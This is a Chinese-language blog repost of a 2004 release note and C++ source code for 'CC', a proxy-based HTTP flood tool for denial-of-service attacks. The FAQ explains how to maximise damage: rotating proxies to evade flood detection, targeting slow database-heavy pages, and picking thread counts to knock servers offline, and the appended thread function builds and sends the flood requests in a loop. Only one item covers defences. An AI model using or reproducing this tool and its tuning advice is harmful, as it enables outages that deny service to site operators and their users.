CC攻击

来源:互联网 发布:淘宝店家一直不发货 编辑:程序博客网 时间:2024/05/01 15:07
CC源代码发布说明
CC已经发布了一个多月了,按照承若,我早该发布源代码了,但是我自己一直没有想到有效的CC防御方法,所以也就没有发布,现在我想出了一个不错的方法,于是本着共享的精神,发布出来。
说实话,CC的代码是我写的第一个VC程序,所以写得很不好,不断地混用CString和Char,反正还有很多缺陷啦,大家就不要骂我了。
顺便在这里回答几个问题吧(FAQ)
1. 为什么我使用CC没有什么效果?
CC是通过模拟多用户访问来达到拒绝服务的效果的,也就是说如果你模拟的用户数目不能达到服务器的最大用户,就达不到拒绝服务的效果,比如xfocus只要600用户就能拒绝,某台超级SMTP服务器需要4000+的线程才能拒绝服务。
2. 为什么我的CC一运行就出错?
说实话,这是我的错误,我最早的版本是有一个BUG的,其实就是代码里面的hostnow溢出,所以你换个现在的版本就没有问题了。
3. CC的攻击效果取决于什么?
你使用的有效的代理数目,线程数,你选择的攻击的页面,还有服务器的性能。
4. CC为什么要使用代理,直接连接效果不是更好吗?
使用代理的理由很多
第一是为了安全
第二是很多系统的防火墙都会检测出有人PORT-FLOOD,使用代理就不存在被检测成PORT-FLOOD的问题。
第三是利用了代理的特性,代理有个特性就是接到用户请求以后一定会读取页面,不管用户是否已经断开,这样大大提高了我们的攻击效率,如果我们直接连接必须保持住连接对方服务器才运行,我们通过代理只要把请求发给代理就可以断开,剩下的是代理的事情了。所以我们电脑完成的只是连接代理-〉发送请求-〉断开,而不是有些朋友认为的需要等待数据返回,所以程序才能达到如此的高线程。
5. 为什么我用1000线不能D下来的服务器,别人500线就可以呢?
这个就是页面选择的问题了,如果选择静态页面,效果可以说很不好,因为服务器读取一个静态页面不需要多少时间就能完成,比如一个页面服务器的读取时间为0.0002S那么这说明该服务器的该页面理论处理能力为5000个页面,如果读取时间为0.2S那么说明该服务器该页面的理论处理能力只有5个,显然攻击效果明显不一样。如果我一秒发起500个连接,对于第一个页面,服务器在0.1S里面就处理完了,我怎么攻击也是没有效果的,对于第二个页面,服务器在一秒内只处理了5个连接,还有495个连接在队列中,这样服务器就有495个连接被占用了,2秒就是990个,1分钟就有29700个连接在队列,如果服务器允许的并发连接数目小于这个数字,那么任何人都无法连接到服务器了,服务器这时的CPU资源和内存资源也都满负荷了。
6. 如何选择一个好的页面?
从第五条我们可以知道,一个能让服务器运行时间越久的页面越是服务器的薄弱点,大家知道木桶理论,木桶能装多少水不决定于木桶最高的地方有多高,而是木桶最低的地方的高度,那么我们选择一个服务器运行时间最久的页面作为对象,这一般是选择数据查询次数多、查询量大、查询时间长的页面。
7. 很多论坛同时在线都有2000多人,为什么CC模拟500人攻击就不行了?
因为2000多人在线不是同时请求访问服务器的,2000多人很可能在某一秒只有200人在请求服务器页面,有1000多人在看帖子,还有100多人在点连接,还有一些人只是在线,其实在看其他的网站。
8. 我听说CC还可以攻击SMTP、FTP等服务器?
是的,通过精心选择参数,CC可以非常有效的攻击FTP服务器,我曾经用Microsoft的FTP服务器ftp.microsoft.com做过试验,效果非常的好,但是CC的目的不是教大家如何攻击,如果这里详细说明这样成为一个傻瓜式的攻击软件了,我相信能看懂源代码的朋友一定明白怎么回事。对于SMTP服务器其实就是PORT-Flood攻击了,也是通过参数的选择来实现的,我希望弄明白的朋友不要说出来,谢谢。
9. CC有什么好的防御方法吗?
有,对于HTTP请求可以使用COOKIE和SESSION认证来判断是否是CC的请求页面,防止多代理的访问请求,而且CC通过代理攻击,代理在转发数据的时候会向HTTP服务器提交一个x-forward-ip(好像是,这就是为什么我们有时使用了代理,对方服务器一样知道我们的真实IP)这样也是一个非常好的判断方法,因为网络上的代理虽然多,但是大部分都是非匿名的,就是说会发送x-forward-ip的代理。


如果还有什么问题可以到我的BLog来提问,谢谢http://new.n-ku.com/blog/blog.asp?name=bigboyq


                                                                       2004.10.20

UINT Attack(LPVOID param)   //Thread to Use{char host[1024];int i,port,mi,mj,xid,tid;CString buf,url,http,rhost,arg1,arg2,larg;CCcDlg* pDlg = (CCcDlg *)param;Tlock.Lock ();    spreadrun++;     //spreadrun 是在运行的线程数目pDlg->m_run =spreadrun;//pDlg->UpdateData(false);Tlock.Unlock ();//Begin Do-Loopsrand((unsigned)time( NULL ));do{//Begin LockTlock.Lock();hostnow++;if (hostnow>=max_proxy) hostnow=0;pDlg->m_Proxy.GetText(hostnow,buf);//Generate Randomtid=(rand()+hostnow)*137;Tlock.Unlock();//Unlock,Generate Host i=buf.Find (":",0);memcpy(host,buf,i);host[i]=0;port = atoi(buf.Right(buf.GetLength() - i - 1));tid=tid%max_target;xid=tid;for(tid=0;tid<max_target;tid++){if (pDlg->m_Sorted ==false) tid=xid;SOCKET S=tcpConnect(host,port);if (S==INVALID_SOCKET) break;if (stop==1) break;//attack times count beginTlock.Lock ();times++;pDlg->m_times=times;//pDlg->UpdateData (false);Tlock.Unlock ();//attack times count endpDlg->m_Attack.GetText(tid,http);mi=http.Find ("/",0);mj=http.Find ("/",mi+2);rhost=http.Mid (mi+2,mj-mi-2);if (http.Left(1)=="G") {//Get Mode,No Sorted Modehttp=http.Right(http.GetLength ()-1);url="GET "+rsCS(http)+" HTTP/1.1\r\n"+"Accept: */*\r\n"+"Referer: "+pDlg->m_Refer+"\r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\n"+"User-Agent: "+pDlg->m_Mozilla+"\r\nHost: "+rhost+"\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\n";if (pDlg->m_Cookie .GetLength()>0) url=url+"Cookie: "+pDlg->m_Cookie +"\r\n\r\n"; else url=url+"\r\n";}else{//Post Mode,No Sorted Modearg1=http.Right(http.GetLength ()-1);   //去掉GPmi=http.Find("?",0);if (http.Find("?",mi+1)>0) mi=http.Find("?",mi+1);  //找到参数的位置arg2=rsCS(arg1.Right(arg1.GetLength ()-mi));   //获得参数arg2并且做处理arg1=rsCS(arg1.Left(mi-1));      //获得要提交的URLlarg.Format ("%d",arg2.GetLength());    //获得参数长度largurl="POST "+arg1+" HTTP/1.1\r\n"+"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"+"Referer: "+pDlg->m_Refer+"\r\nAccept-Language: zh-cn\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip, deflate\r\n"+"User-Agent: "+pDlg->m_Mozilla+"\r\nHost: "+rhost+"\r\nContent-Length: "+larg+"\r\nProxy-Connection: Keep-Alive\r\nPragma: no-cache\r\n";                if (pDlg->m_Cookie.GetLength()>0) url=url+"Cookie: "+pDlg->m_Cookie +"\r\n\r\n"; else url=url+"\r\n";url=url+arg2+"\r\n";}if (stop==1) break;send(S,url,url.GetLength() ,0);Sleep(slptime);   //Control Powerclosesocket(S);if (pDlg->m_Sorted ==false) tid=max_target;if (stop==1) break;}if (stop==1) break;}while (1==1);Tlock.Lock ();    spreadrun--;pDlg->m_run =spreadrun;pDlg->UpdateData(false);    //Debug In Debug ModeTlock.Unlock ();return 1;}


0 0
原创粉丝点击